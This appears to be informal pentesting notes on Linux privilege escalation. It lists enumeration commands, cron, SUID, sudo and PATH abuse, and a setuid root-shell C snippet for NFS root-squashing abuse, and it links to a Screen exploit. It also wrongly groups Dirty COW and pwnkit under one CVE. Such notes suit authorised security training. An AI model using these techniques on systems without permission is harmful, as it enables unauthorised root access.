Linux Privilege Escalation

Kernel Exploit

Kernel level exploits exist for a variety of Linux kernel versions. A very well-known example is Dirty COW and pwnkit (CVE-2016-5195)

**Searching Kernel Version

```
uname -a
```

```
cat /etc/lsb-release
```

Vulnerable Service

Many services may be found, which have flaws that can be leveraged to escalate privileges. An example is the popular terminal multiplexer Screen In simple words services with older version which already have a exploit https://github.com/hac01/exploit/blob/main/lpe/screen4.5.0_exploit.sh

Cron Job Abuse

Cron Jobs are set to run a particular Task at a particular interval of Times . For ex :- Running a script which backups a dir or entire OS after 3 days .

How u abuse this to get root ?? Sometimes sysadmins makes major misconfiguration . For ex:- there is a script which backups x dir and it runs as root but all global user can make changes in that dir .

```
find / -path /proc -prune -o -type f -perm -o+w 2>/dev/null
```

Special Permissions

There are two types of permission setuid and setgid .

Setuid permission let's to run a program as another user . Setuid bit appears with s.

Setgid is another special permission which let's us run a program as we are part of the same group which created them .

Finding setuid

```
find / -user root -perm -4000 -exec ls -ldb {} \; 2>/dev/null
```

Finding setgid

```
find / -user root -perm -6000 -exec ls -ldb {} \; 2>/dev/null
```

Sudo Rights Abuse

Sudo privs can be granted to a account allowing them to run certain command as root without the password of root user .

Finding

```
sudo -l
```

Path Abuse

```
echo $PATH
shell-session
PATH=.:${PATH}
export PATH
```

privileged groups

Some groups have special rights over certain folder . for ex:- group called Adm has special root over /var/log u may not be able to get root but can definitely get sensitive information .

Other Technique

1. U can sniff the traffic using tcpdump (if installed) . Which may result in getting clear text password .
2. **NFS root squashing**

C code

```
#include <stdio.h>
#include <sys/types.h>
#include <unistd.h>
int main(void)
{
  setuid(0); setgid(0); system("/bin/bash");
}
```

now upload the compiled binary on nfs share with chmod u+s

3. U can even try to hijack tmux session .